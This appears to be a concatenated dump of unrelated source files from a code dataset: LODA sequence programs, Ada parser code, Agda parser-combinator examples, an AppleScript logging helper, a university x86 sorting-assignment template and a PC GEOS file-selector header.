mul $1,2
mov $2,$0
add $0,$1
bin $0,$2
mul $0,2
bin $1,$2
sub $0,$1
|
src/bb_pico_bsp-touch.ads | Fabien-Chouteau/bb_pico_bsp | 0 | 11383 | <reponame>Fabien-Chouteau/bb_pico_bsp<gh_stars>0
with HAL.Touch_Panel;
package BB_Pico_Bsp.Touch is
function Get_All_Touch_Points return HAL.Touch_Panel.TP_State;
end BB_Pico_Bsp.Touch;
|
programs/oeis/135/A135416.asm | neoneye/loda | 22 | 3118 | <gh_stars>10-100
; A135416: a(n) = A036987(n)*(n+1)/2.
; 1,0,2,0,0,0,4,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
add $0,2
mov $1,$0
seq $1,209229 ; Characteristic function of powers of 2, cf. A000079.
mul $1,$0
mov $0,$1
div $0,2
|
StructurallyRecursiveDescentParsing/Examples.agda | nad/parser-combinators | 1 | 12749 | <filename>StructurallyRecursiveDescentParsing/Examples.agda
------------------------------------------------------------------------
-- Examples
------------------------------------------------------------------------
module StructurallyRecursiveDescentParsing.Examples where
open import Data.List
open import Data.Vec using ([]; _∷_)
open import Data.Nat
open import Data.Bool
open import Data.Char using (Char)
import Data.Char.Properties as C
import Data.String as S
open S using (String)
open import Codata.Musical.Notation
open import Relation.Binary.PropositionalEquality as P using (_≡_)
open import StructurallyRecursiveDescentParsing.Index
open import StructurallyRecursiveDescentParsing.Grammar
open import StructurallyRecursiveDescentParsing.DepthFirst
open import StructurallyRecursiveDescentParsing.Lib
open Token C.decSetoid
-- Some functions used to simplify the examples a little.
infix 5 _∈?_/_ _∈?_
_∈?_/_ : ∀ {NT i R} →
String → Parser NT Char i R → Grammar NT Char → List R
s ∈? p / g = parseComplete (⟦ p ⟧ g) (S.toList s)
_∈?_ : ∀ {i R} → String → Parser EmptyNT Char i R → List R
s ∈? p = s ∈? p / emptyGrammar
module Ex₁ where
mutual
-- e ∷= 0 + e | 0
data Nonterminal : NonTerminalType where
e : Nonterminal i Char
private
i = _
grammar : Grammar Nonterminal Char
grammar e = tok '0' ⊛> tok '+' ⊛> ! e
∣ tok '0'
ex₁ : "0+0" ∈? ! e / grammar ≡ [ '0' ]
ex₁ = P.refl
module Ex₂ where
mutual
-- e ∷= f + e | f
-- f ∷= 0 | 0 * f | ( e )
data Nonterminal : NonTerminalType where
expr : Nonterminal i₁ Char
factor : Nonterminal i₂ Char
private
i₁ = _
i₂ = _
grammar : Grammar Nonterminal Char
grammar expr = ! factor ⊛> tok '+' ⊛> ! expr
∣ ! factor
grammar factor = tok '0'
∣ tok '0' ⊛> tok '*' ⊛> ! factor
∣ tok '(' ⊛> ! expr <⊛ tok ')'
ex₁ : "(0*)" ∈? ! expr / grammar ≡ []
ex₁ = P.refl
ex₂ : "0*(0+0)" ∈? ! expr / grammar ≡ [ '0' ]
ex₂ = P.refl
{-
module Ex₃ where
mutual
-- This is not allowed:
-- e ∷= f + e | f
-- f ∷= 0 | f * 0 | ( e )
data Nonterminal : NonTerminalType where
expr : Nonterminal i₁ Char
factor : Nonterminal i₂ Char
private
i₁ = _
i₂ = _
grammar : Grammar Nonterminal Char
grammar expr = ! factor ⊛> tok '+' ⊛> ! expr
∣ ! factor
grammar factor = tok '0'
∣ ! factor ⊛> tok '*' ⊛> tok '0'
∣ tok '(' ⊛> ! expr <⊛ tok ')'
-}
module Ex₄ where
mutual
-- The language aⁿbⁿcⁿ, which is not context free.
-- The non-terminal top returns the number of 'a' characters
-- parsed.
data NT : NonTerminalType where
top : NT i₁ ℕ -- top ∷= aⁿbⁿcⁿ
as : ℕ → NT i₂ ℕ -- as n ∷= aˡ⁺¹bⁿ⁺ˡ⁺¹cⁿ⁺ˡ⁺¹
bcs : Char → ℕ → NT i₃ ℕ -- bcs x n ∷= xⁿ⁺¹
private
i₁ = _
i₂ = _
i₃ = _
grammar : Grammar NT Char
grammar top = return 0 ∣ ! (as zero)
grammar (as n) = suc <$ tok 'a' ⊛
( ! (as (suc n))
∣ _+_ <$> ! (bcs 'b' n) ⊛ ! (bcs 'c' n)
)
grammar (bcs c zero) = tok c ⊛> return 0
grammar (bcs c (suc n)) = tok c ⊛> ! (bcs c n)
ex₁ : "aaabbbccc" ∈? ! top / grammar ≡ [ 3 ]
ex₁ = P.refl
ex₂ : "aaabbccc" ∈? ! top / grammar ≡ []
ex₂ = P.refl
module Ex₄′ where
mutual
-- A monadic variant of Ex₄.
aⁿbⁿcⁿ = return 0
∣ tok 'a' + !>>= λ as → ♯
(let n = length as in
exactly n (tok 'b') ⊛>
exactly n (tok 'c') ⊛>
return n)
ex₁ : "aaabbbccc" ∈? aⁿbⁿcⁿ ≡ [ 3 ]
ex₁ = P.refl
ex₂ : "aaabbccc" ∈? aⁿbⁿcⁿ ≡ []
ex₂ = P.refl
module Ex₅ where
mutual
-- A grammar making use of a parameterised parser from the
-- library.
data NT : NonTerminalType where
a : NT i₁ Char
as : NT i₂ ℕ
private
i₁ = _
i₂ = _
grammar : Grammar NT Char
grammar a = tok 'a'
grammar as = length <$> ! a ⋆
ex₁ : "aaaaa" ∈? ! as / grammar ≡ [ 5 ]
ex₁ = P.refl
module Ex₆ where
mutual
-- A grammar which uses the chain≥ combinator.
data NT : NonTerminalType where
op : NT i₁ (ℕ → ℕ → ℕ)
expr : (a : Assoc) → NT i₂ ℕ
private
i₁ = _
i₂ = _
grammar : Grammar NT Char
grammar op = _+_ <$ tok '+'
∣ _*_ <$ tok '*'
∣ _∸_ <$ tok '∸'
grammar (expr a) = chain≥ 0 a number (! op)
ex₁ : "12345" ∈? number / grammar ≡ [ 12345 ]
ex₁ = P.refl
ex₂ : "1+5*2∸3" ∈? ! (expr left) / grammar ≡ [ 9 ]
ex₂ = P.refl
ex₃ : "1+5*2∸3" ∈? ! (expr right) / grammar ≡ [ 1 ]
ex₃ = P.refl
module Ex₇ where
mutual
-- A proper expression example.
data NT : NonTerminalType where
expr : NT i₁ ℕ
term : NT i₂ ℕ
factor : NT i₃ ℕ
addOp : NT i₄ (ℕ → ℕ → ℕ)
mulOp : NT i₅ (ℕ → ℕ → ℕ)
private
i₁ = _
i₂ = _
i₃ = _
i₄ = _
i₅ = _
grammar : Grammar NT Char
grammar expr = chain≥ 0 left (! term) (! addOp)
grammar term = chain≥ 0 left (! factor) (! mulOp)
grammar factor = tok '(' ⊛> ! expr <⊛ tok ')'
∣ number
grammar addOp = _+_ <$ tok '+'
∣ _∸_ <$ tok '∸'
grammar mulOp = _*_ <$ tok '*'
ex₁ : "1+5*2∸3" ∈? ! expr / grammar ≡ [ 8 ]
ex₁ = P.refl
ex₂ : "1+5*(2∸3)" ∈? ! expr / grammar ≡ [ 1 ]
ex₂ = P.refl
module Ex₈ where
mutual
-- An example illustrating the use of one grammar within another.
data NT : NonTerminalType where
lib : ∀ {i R} (nt : Ex₇.NT i R) → NT i R
exprs : NT i (List ℕ)
private
i = _
expr = lib Ex₇.expr
grammar : Grammar NT Char
grammar (lib nt) = mapNT lib (Ex₇.grammar nt)
grammar exprs = ! expr sepBy tok ','
ex₁ : "1,2∸1" ∈? ! exprs / grammar ≡ [ 1 ∷ 1 ∷ [] ]
ex₁ = P.refl
module Ex₉ where
mutual
-- An example illustrating the use of one grammar within another
-- when the inner grammar contains non-terminals parameterised on
-- parsers, and the outer grammar instantiates one of these
-- parsers with an outer non-terminal.
infix 55 _★ _∔
data LibraryNT (NT : NonTerminalType) (Tok : Set) :
NonTerminalType where
_★ : ∀ {c R} → Parser NT Tok (false ◇ c) R →
LibraryNT NT Tok (i₁ c) (List R)
_∔ : ∀ {c R} → Parser NT Tok (false ◇ c) R →
LibraryNT NT Tok (i₂ c) (List R)
private
i₁ i₂ : _ → _
i₁ = _
i₂ = _
library : ∀ {NT Tok} → (∀ {i R} → LibraryNT NT Tok i R → NT i R) →
∀ {i R} → LibraryNT NT Tok i R → Parser NT Tok i R
library lift (p ★) = return [] ∣ ! (lift (p ∔))
library lift (p ∔) = p >>= λ x →
! (lift (p ★)) >>= λ xs →
return (x ∷ xs)
mutual
data NT : NonTerminalType where
lib : ∀ {i R} → LibraryNT NT Char i R → NT i R
a : NT i₃ Char
as : NT i₄ (List Char)
private
i₃ = _
i₄ = _
grammar : Grammar NT Char
grammar (lib nt) = library lib nt
grammar a = tok 'a'
grammar as = ! (lib (! a ★))
ex₁ : "aa" ∈? ! as / grammar ≡ [ 'a' ∷ 'a' ∷ [] ]
ex₁ = P.refl
|
test/interaction/Issue388.agda | KDr2/agda | 0 | 15072 | {-# OPTIONS --cubical-compatible #-}
module Issue388 where
data P (A : Set₁) : A → Set₁ where
p : ∀ x → P A x
data D : Set → Set₁ where
d : ∀ A → D A
Foo : ∀ A → P (D A) (d A) → Set
Foo A x = {!x!}
|
src/hide-value.adb | persan/midnightsun-ctf-LoveLacedLetter | 0 | 11760 | function Hide.Value (Data : String ) return Integer is
Map : constant array (Character'('0') .. Character'('9')) of Integer := (0, 1, 2, 3, 4, 5, 6, 7, 8, 9);
begin
return Ret : Integer := 0 do
for Cursor in Data'Range loop
Ret := Ret + Map (Data (Cursor));
if Cursor /= Data'Last then
Ret := Ret * 10;
end if;
end loop;
end return;
end;
|
source/parser/program-parsers.adb | reznikmm/gela | 0 | 14028 | <filename>source/parser/program-parsers.adb
-- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
with Anagram.Grammars.LR_Parsers;
with Program.Parsers.Nodes;
with Program.Parsers.Data;
with Program.Parsers.On_Reduce;
package body Program.Parsers is
procedure Next_Token
(Self : access Parse_Context;
Token : out Anagram.Grammars.Terminal_Count;
Value : out Program.Parsers.Nodes.Node);
procedure Do_Parse is new Anagram.Grammars.LR_Parsers.Parse
(Node => Program.Parsers.Nodes.Node,
Node_Array => Program.Parsers.Nodes.Node_Array,
Lexer => Parse_Context,
Parser => Parse_Context,
Next_Token => Next_Token,
Next_Action => Program.Parsers.Data.Next_Action,
Go_To => Program.Parsers.Data.Go_To,
On_Reduce => Program.Parsers.On_Reduce);
use all type Program.Lexical_Elements.Lexical_Element_Kind;
Map : constant array (Program.Lexical_Elements.Lexical_Element_Kind)
of Anagram.Grammars.Terminal_Count :=
(Error => 0,
End_Of_Input => 0,
Abort_Keyword => 1,
Abs_Keyword => 2,
Abstract_Keyword => 3,
Accept_Keyword => 4,
Access_Keyword => 5,
Aliased_Keyword => 6,
All_Keyword => 7,
Ampersand => 8,
And_Keyword => 9,
Apostrophe => 10,
Array_Keyword => 11,
Arrow => 12,
Assignment => 13,
At_Keyword => 14,
Begin_Keyword => 15,
Body_Keyword => 16,
Box => 17,
Case_Keyword => 18,
Character_Literal => 19,
Colon => 20,
Comma => 21,
Comment => 22,
Constant_Keyword => 23,
Declare_Keyword => 24,
Delay_Keyword => 25,
Delta_Keyword => 26,
Digits_Keyword => 27,
Do_Keyword => 28,
Dot => 29,
Double_Dot => 30,
Double_Star => 31,
Else_Keyword => 32,
Elsif_Keyword => 33,
End_Keyword => 34,
Entry_Keyword => 35,
Equal => 36,
Exception_Keyword => 37,
Exit_Keyword => 38,
For_Keyword => 39,
Function_Keyword => 40,
Generic_Keyword => 41,
Goto_Keyword => 42,
Greater_Or_Equal => 43,
Greater => 44,
Hyphen => 45,
Identifier => 46,
If_Keyword => 47,
In_Keyword => 48,
Inequality => 49,
Interface_Keyword => 50,
Is_Keyword => 51,
Left_Label => 52,
Left_Parenthesis => 53,
Less_Or_Equal => 54,
Less => 55,
Limited_Keyword => 56,
Loop_Keyword => 57,
Mod_Keyword => 58,
New_Keyword => 59,
Not_Keyword => 60,
Null_Keyword => 61,
Numeric_Literal => 62,
Of_Keyword => 63,
Or_Keyword => 64,
Others_Keyword => 65,
Out_Keyword => 66,
Overriding_Keyword => 67,
Package_Keyword => 68,
Plus => 69,
Pragma_Keyword => 70,
Private_Keyword => 71,
Procedure_Keyword => 72,
Protected_Keyword => 73,
Raise_Keyword => 74,
Range_Keyword => 75,
Record_Keyword => 76,
Rem_Keyword => 77,
Renames_Keyword => 78,
Requeue_Keyword => 79,
Return_Keyword => 80,
Reverse_Keyword => 81,
Right_Label => 82,
Right_Parenthesis => 83,
Select_Keyword => 84,
Semicolon => 85,
Separate_Keyword => 86,
Slash => 87,
Some_Keyword => 88,
Star => 89,
String_Literal => 90,
Subtype_Keyword => 91,
Synchronized_Keyword => 92,
Tagged_Keyword => 93,
Task_Keyword => 94,
Terminate_Keyword => 95,
Then_Keyword => 96,
Type_Keyword => 97,
Until_Keyword => 98,
Use_Keyword => 99,
Vertical_Line => 100,
When_Keyword => 101,
While_Keyword => 102,
With_Keyword => 103,
Xor_Keyword => 104);
----------------
-- Next_Token --
----------------
procedure Next_Token
(Self : access Parse_Context;
Token : out Anagram.Grammars.Terminal_Count;
Value : out Program.Parsers.Nodes.Node)
is
Next : Program.Lexical_Elements.Lexical_Element_Access;
Kind : Program.Lexical_Elements.Lexical_Element_Kind;
begin
if Self.Index <= Self.Tokens.Last_Index then
Next := Self.Tokens.Element (Self.Index);
Kind := Next.Kind;
Token := Map (Kind);
Value := Self.Factory.Token (Next);
Self.Index := Self.Index + 1;
else
Token := 0;
Value := Program.Parsers.Nodes.No_Token;
end if;
end Next_Token;
-----------
-- Parse --
-----------
procedure Parse
(Compilation : not null Program.Compilations.Compilation_Access;
Tokens : not null Lexical_Elements.Lexical_Element_Vector_Access;
Subpool : not null System.Storage_Pools.Subpools.Subpool_Handle;
Units : out Unit_Vectors.Vector;
Pragmas : out Element_Vectors.Vector;
Standard : Boolean)
is
Factory : aliased Program.Parsers.Nodes.Node_Factory
(Compilation, Subpool, Standard);
Context : aliased Parse_Context :=
(Factory => Factory'Unchecked_Access,
Tokens => Tokens,
Index => 1);
Root : Program.Parsers.Nodes.Node;
Ok : Boolean;
begin
Do_Parse (Context'Access, Context'Access, Root, Ok);
if Ok then
Program.Parsers.Nodes.Get_Compilation_Units
(Root, Units, Pragmas);
else
raise Constraint_Error with "Parsing error";
end if;
end Parse;
end Program.Parsers;
|
library/logging/logConsole.applescript | NYHTC/applescript-fm-helper | 1 | 4609 | -- logConsole(processName, consoleMsg)
-- <NAME> http://www.danshockley.com
-- log a message to the console
(*
HISTORY:
2.0 - strip out any NULL characters, since that breaks the shell command.
1.9 - REQUIRES coerceToString to enable logging of objects not directly coercible to string.
1.8 - coerces to string first (since numbers would not directly convert for 'quoted form'
1.7 - now works with Leopard by using the "logger" command instead of just appending to log file
1.6 - the 'space' constant instead of literal spaces for readability, removed trailing space from the hostname command
1.5 - uses standard date-stamp format
1.0 - created
*)
on run
logConsole("SomeProcessName", "SomeMessage")
end run
--------------------
-- START OF CODE
--------------------
on logConsole(processName, consoleMsg)
-- version 2.0
set consoleMsg to coerceToString(consoleMsg)
set consoleMsg to replaceSimple({consoleMsg, ASCII character 0, ""}) -- ASCII 0 breaks shell scripting
if length of consoleMsg is 0 then
-- we still want this function to log that an empty string was sent:
set consoleMsg to "[EMPTY STRING]"
end if
set shellCommand to "logger" & space & "-t" & space & quoted form of processName & space & quoted form of consoleMsg
do shell script shellCommand
return shellCommand
end logConsole
--------------------
-- END OF CODE
--------------------
on coerceToString(incomingObject)
tell application "htcLib" to coerceToString(incomingObject)
end coerceToString
on replaceSimple(prefs)
tell application "htcLib" to replaceSimple(prefs)
end replaceSimple
|
2000-spring/mp2/mp2.asm | ece291/machine-problems | 3 | 18166 | PAGE 70, 140
TITLE MP2 - [Sorting Efficiency] Your Name Today's Date
COMMENT *
In this MP, you will write a program which
will take input from the keyboard and sort
it using two different algorithms
ECE291 - Machine Problem 2
Professor Polychronopoulos
Guest Authors - <NAME>, <NAME>
Univeristy of Illinois Urbana Champaign
Dept. of Electrical & Computer Engineering
Spring 2000
Ver 1.0
*
;--------------------------------------------------------------
;-- Defining Constants --
;--------------------------------------------------------------
BELL EQU 007h
BS EQU 008h
TAB EQU 009h
LF EQU 00Ah
CR EQU 00Dh
SPACE EQU 020h
ESCKEY EQU 01Bh
INPUT_SIZE EQU 0078
public BELL, BS, TAB, LF, CR
public SPACE, ESCKEY, INPUT_SIZE
;--------------------------------------------------------------
;-- Declaring External Procedures --
;--------------------------------------------------------------
; Functions in LIB291.LIB These functions are free to
; be used by you. Complete descriptions of the LIB291
; functions can be found in your lab manuals. Use these
; functions for displaying output on the screen.
extrn dspmsg:near, dspout:near, kbdin:near
extrn rrest:near, rsave:near, binasc:near
; Functions in LIBMP2.LIB
; You will need to write these functions for this program.
extrn libSortHeap:near, libPercolate:near, libQuickSort:near
extrn libTakeInput:near, libGetArray:near, libPrintList:near
; This function terminates the program.
extrn mp2xit:near
;--------------------------------------------------------------
;-- Defining the Stack Segment --
;--------------------------------------------------------------
stkseg SEGMENT stack
db 64 dup ('STACK ')
stkseg ENDS
;--------------------------------------------------------------
;-- Defining the Code Segment --
;--------------------------------------------------------------
cseg SEGMENT PUBLIC 'CODE'
assume cs:cseg, ds:cseg, ss:stkseg, es:nothing
;--------------------------------------------------------------
;-- Declaring variables for Lib Procedures --
;--------------------------------------------------------------
enterK db CR,LF,'$' ; Helps in formating the output
input db 80 dup(0) ; Our Input Buffer
list db 80 dup(0) ; Unsorted Array of characters
list_size db 0 ; Number of characters in the list
dbug dw 0 ; Debug Level -
; 0 is result ONLY
; 1 is debug without step
; 2 is debug with step
swapMsg db ' Swapping ','$'
cmpMsg db ' Comparing ','$'
cmpCtr dw 0 ; Counter for number of comparisions
swpCtr dw 0 ; Counter for number of swaps
public input, list, list_size, dbug, enterK
public swapMsg, cmpMsg, cmpCtr, swpCtr
public Percolate, QuickSort, PrintList
;--------------------------------------------------------------
;-- Declaring variables for Main Procedure --
;--------------------------------------------------------------
menu db CR,LF,0C9h,28 dup (0CDh), 0B5h,'SORTING EFFICIENCY',0C6h,28 dup (0CDh),0BBh,CR,LF
db 0BAh,' ',0BAh,CR,LF
db 0BAh,' H E A P S O R T ',0BAh,CR,LF
db 0BAh,' ',0BAh,CR,LF
db 0BAh,' HR : Displays final result only ',0BAh,CR,LF
db 0BAh,' HD : Shows debugging information ',0BAh,CR,LF
db 0BAh,' HS : Steps through the action ',0BAh,CR,LF
db 0BAh,' ',0BAh,CR,LF
db 0BAh,' Q U I C K S O R T ',0BAh,CR,LF
db 0BAh,' ',0BAh,CR,LF
db 0BAh,' QR : Displays final result only ',0BAh,CR,LF
db 0BAh,' QD : Shows debugging information ',0BAh,CR,LF
db 0BAh,' QS : Steps through the action ',0BAh,CR,LF
db 0BAh,' ',0BAh,CR,LF
db 0BAh,' M : MP2 MENU ',0BAh,CR,LF
db 0BAh,' ESC : EXIT MP2 ',0BAh,CR,LF
db 0BAh,' ',0BAh,CR,LF
db 0C8h, 68 dup(0CDh),0B5h,0E4h,9Bh,0EEh,' 291',0C6h,0BCh,CR,LF
db CR,LF,'$'
prompt db ':','$'
buf db 7 dup(0) ; Needed to convert Binary to Ascii [binasc]
sortM db 'HhQqMm'
sortT db 'RrDdSs'
qMsg db 'Initiating QuickSort',CR,LF,'$'
hMsg db 'Initiating HeapSort',CR,LF,'$'
cMsg db 'Number of comparisions: ','$'
sMsg db 'Number of swaps: ','$'
doneMsg db 'Sorted Array is ','$'
errMsg db CR,LF,'Invalid Option!',CR,LF,'$'
;--------------------------------------------------------------
;-- Main Procedure --
;--------------------------------------------------------------
MAIN PROC FAR
mov ax, cseg
mov ds, ax ; Initialize ds => cs
drawMain:
mov dx, offset menu ; display our menu
call dspmsg
getInput:
mov dx, offset prompt
call dspmsg
call TakeInput ; obtain one line of input
jc exitMain
xor si, si
mov cx, 6
validate1: ; parce the sorting technique
mov dl, sortM[si]
inc si
cmp input[0], dl
je checkType
loop validate1
invalidChoice: ; trap for invalid options
mov dx, offset errMsg
call dspmsg
jmp getInput
checkType:
dec si
shr si, 1
mov ax, si ; save the sorting technique in AX
cmp ax, 2
je drawMain
mov si, 0
mov cx, 6
validate2: ; parce the level of debug required
mov dl, sortT[si]
inc si
cmp input[1], dl
je validated
loop validate2
jmp invalidChoice
validated:
dec si
shr si, 1
mov dbug, si
mov bx, 2
cmp input[bx], SPACE ; third character should be a SPACE
jne invalidChoice
ignoreSpaces: ; move BX to the first valid character
inc bx
cmp input[bx], SPACE
je ignoreSpaces
cmp input[bx], '$'
je invalidChoice
mov dx, offset enterK
call dspmsg
call GetArray ; fill in the list array with our characters
cmp ax, 0 ; is it heap?
je doHeap
doQuick:
mov dx, offset qMsg
call dspmsg
mov cl, list_size ; right
push cx
mov cx, 1 ; left
push cx
call Quicksort
pop cx
pop cx
jmp doneSort
doHeap:
mov dx, offset hMsg
call dspmsg
call SortHeap
doneSort:
mov dx, offset doneMsg
call dspmsg
mov dbug, 1 ; set debug level so that we
call PrintList ; can display the final result
mov dx, offset cMsg
call dspmsg
mov bx, offset buf
mov ax, cmpCtr
call binasc
mov dx, bx
call dspmsg
mov dx, offset enterK
call dspmsg
mov dx, offset sMsg
call dspmsg
mov bx, offset buf
mov ax, swpCtr
call binasc
mov dx, bx
call dspmsg
mov dx, offset enterK
call dspmsg
jmp getInput
exitMain:
call mp2xit
MAIN ENDP
;--------------------------------------------------------------
;-- Replace Library Calls with your Code! --
;-- [Save all reg values that you modify] --
;-- Do not forget to add Function Headers --
;--------------------------------------------------------------
;--------------------------------------------------------------
;-- SortHeap() --
;--------------------------------------------------------------
SortHeap PROC NEAR
call libSortHeap
ret
SortHeap ENDP
;--------------------------------------------------------------
;-- Percolate() --
;--------------------------------------------------------------
Percolate PROC NEAR
call libPercolate
ret
Percolate ENDP
;--------------------------------------------------------------
;-- QuickSort() --
;--------------------------------------------------------------
QuickSort PROC NEAR
call libQuickSort
ret
QuickSort ENDP
;--------------------------------------------------------------
;-- TakeInput() --
;--------------------------------------------------------------
TakeInput PROC NEAR
call libTakeInput
ret
TakeInput ENDP
;--------------------------------------------------------------
;-- GetArray() --
;--------------------------------------------------------------
GetArray PROC NEAR
call libGetArray
ret
GetArray ENDP
;--------------------------------------------------------------
;-- PrintList() --
;--------------------------------------------------------------
PrintList PROC NEAR
call libPrintList
ret
PrintList ENDP
CSEG ENDS
END MAIN
|
Library/SpecUI/CommonUI/CUtils/copenFileSelectorLow.asm | steakknife/pcgeos | 504 | 5633 | <gh_stars>100-1000
COMMENT @-----------------------------------------------------------------------
Copyright (c) GeoWorks 1994 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: CommonUI/COpen
FILE: copenFileSelectorLow.asm
ROUTINES:
Name Description
---- -----------
INT OLFSNotifyUserOfDiskError
Tell the user we were unable to register
the disk when trying to switch out of
volume mode.
INT OLFSDerefIndexBuffer Fetch the offset of the given list entry in
the file buffer.
INT OLFSSendAD send notification of file being selected to
action descriptor of GenFileSelector
INT OLFSCopySelection copy current selection to generic instance
data
MTD MSG_GEN_FILE_SELECTOR_RESCAN
rebuilds list using current volume, path
(in generic instance data)
INT OLFSSelectHomeFolder Select the home folder
INT OLFSRescanLow Rebuild the list of things to display and
display them.
INT OLFSBuildEntryFlagsAndSendAD
build GenFileSelectorEntryFlags and send to
AD
INT OLFSBuildEntryFlagsAndSendADLow
Really low-level routine shared by
OLFSBuildEntryFlagsAndSendAD and
OLFileSelectorListMethod to accomplish the
same thing.
INT OLFSResolveSelection set current selection
MTD MSG_GEN_FILE_SELECTOR_UP_DIRECTORY
go up one directory
MTD MSG_OL_FILE_SELECTOR_DOCUMENT_BUTTON
go to document directory and turn on "can't
navigate above current directory" mode, if
requested
MTD MSG_GEN_FILE_SELECTOR_OPEN_ENTRY
Open entry specified. This should be used
to manually open a directory or a volume,
as needed when user clicks a "Open"-type
button that is in the same dialog box as
the GenFileSelector. Has no effect if
entry is a file.
Typically, the entry number passed will
have been extracted from the
GenFileSelectorEntryFlags sent to the
action descriptor, or returned from
MSG_GEN_FILE_SELECTOR_GET_SELECTION.
Only valid after GenFileSelector is made
visible, as the file list is destroyed when
the File Selector is brought off the
screen.
MTD MSG_GEN_FILE_SELECTOR_SUSPEND
Begin suspension of file selector
rescanning to allow changing mulitple
attributes with having multiple rescans.
Only the following attribute setting
methods are affect:
MSG_GEN_FILE_SELECTOR_SET_SELECTION
MSG_GEN_FILE_SELECTOR_SET_PATH
MSG_GEN_FILE_SELECTOR_SET_MASK
MSG_GEN_FILE_SELECTOR_SET_FILE_ATTRS
MSG_GEN_FILE_SELECTOR_SET_TOKEN
MSG_GEN_FILE_SELECTOR_SET_CREATOR
MSG_GEN_FILE_SELECTOR_SET_GEODE_ATTR
MSG_GEN_FILE_SELECTOR_SET_ATTRS
MSG_GEN_FILE_SELECTOR_SET_FILE_CRITERIA
MTD MSG_GEN_FILE_SELECTOR_END_SUSPEND
End suspension of file selector rescanning.
File selector is rescanned with current
attributes.
INT OLFSMemLock_ES Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSDeref_SI_Gen_DI Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSDeref_SI_Spec_DI Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSFindTempData Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSReplaceVisMonikerText
Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSGetFileListSelection
Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSUpdateChangeDrivePopupMoniker
Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSGetCurrentDrive Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSDisableCloseAndChangeDirectoryButtonsIfFirstEntryAndIsRoot
Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSDisableDocButtonIfDocDir
Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSSetFileTableSelection
Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSSetGenItemSelection Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSCallUIBlockGadget Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSStuffDriveAndVolumeName
Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSSelectCurrentDriveInChangeDrivePopup
Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSTurnOffGadgetry Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSSetUsableOnFlags Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSIsCurDirVirtualRoot Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSIsCurDirVirtualRootOrUnderVirtualRoot
Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSGetVirtualRoot Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSHaveVirtualRoot Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT OLFSGetCurDir Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
INT HandleScalableUIData Looks at its vis moniker to see if its
mnemonic matches that key currently
pressed.
MTD MSG_VIS_RECALC_SIZE Recalc's size.
MTD MSG_VIS_POSITION_BRANCH Recalc's size.
MTD MSG_META_KBD_CHAR Handle the keyboard input.
MTD MSG_META_KBD_CHAR handle keyboard navigation
MTD MSG_OL_FILE_SELECTOR_SET_HEADING
MTD MSG_META_DELETE Delete the selected file in the List
Screen.
MTD MSG_TABLE_QUERY_DRAW Draw the table entry.
INT DrawDatePrefix Draw the Symbol gutter if necessary.
MTD MSG_TABLE_SELECT We use this method handler to handle double
press.
MTD MSG_TABLE_NOTIFY_SELECTION_CHANGED
Notify the file selector about the change
of the selection.
MTD MSG_TABLE_STRING_LOCATE Locate the string in the table object which
matches the given string.
MTD MSG_TABLE_CHAR_LOCATE Given the character, locate the file entry
in the file listing.
MTD MSG_OLFS_TABLE_HEADING_SET_HEADING
Set the string which will be displayed in
the file list heading of the List Screen.
MTD MSG_TABLE_QUERY_DRAW Draw the file selector heading.
MTD MSG_VIS_COMP_GET_CHILD_SPACING
Don't want any space between children.
MTD MSG_GEN_VIEW_SCROLL_UP pass scrolling onto table object
MTD MSG_META_CHECK_IF_INTERACTABLE_OBJECT
This is called when a UserDoDialog is on
the screen, to see if the passed object can
get events.
MTD MSG_OL_FILE_SELECTOR_DISK_ERROR_RESPONSE
Response from the user on a disk error.
MTD MSG_OL_FILE_SELECTOR_RENAME
Rename the file listed in the file
selector.
INT OLFileSelectorContinueRename
Continue the rename procedure.
MTD MSG_OL_FILE_SELECTOR_COPY
Duplicate the selected file.
INT OLFileSelectorContinueCopy
Continue the duplicating file operation.
MTD MSG_OL_FILE_SELECTOR_CREATE_TEMPLATE
Create a template file from the selected
file.
INT OLFileSelectorContinueCreateTemplate
Continue to create the template file.
MTD MSG_OL_FILE_SELECTOR_DELETE
Delete the current selected file in the
file selector.
INT OLFileSelectorContinueDelete
Continue the process of deleting the file.
INT CallErrorDialog Inform the user of the error occured during
the operation.
INT OLFileSelectorGetFileName
Get the name of the selected file in the
FileSelector
MTD MSG_OL_FILE_SELECTOR_GET_ENTRY_NAME
MTD MSG_OL_FILE_SELECTOR_GET_NUM_OF_ENTRIES
MTD MSG_OL_FILE_SELECTOR_SET_FILE_PATH
Set the path which is stored in OL file
selector.
MTD MSG_VIS_OPEN Init. the its instance data
REVISION HISTORY:
Name Date Description
---- ---- -----------
dlitwin 10/10/94 Broken out of copenFileSelector.asm
DESCRIPTION:
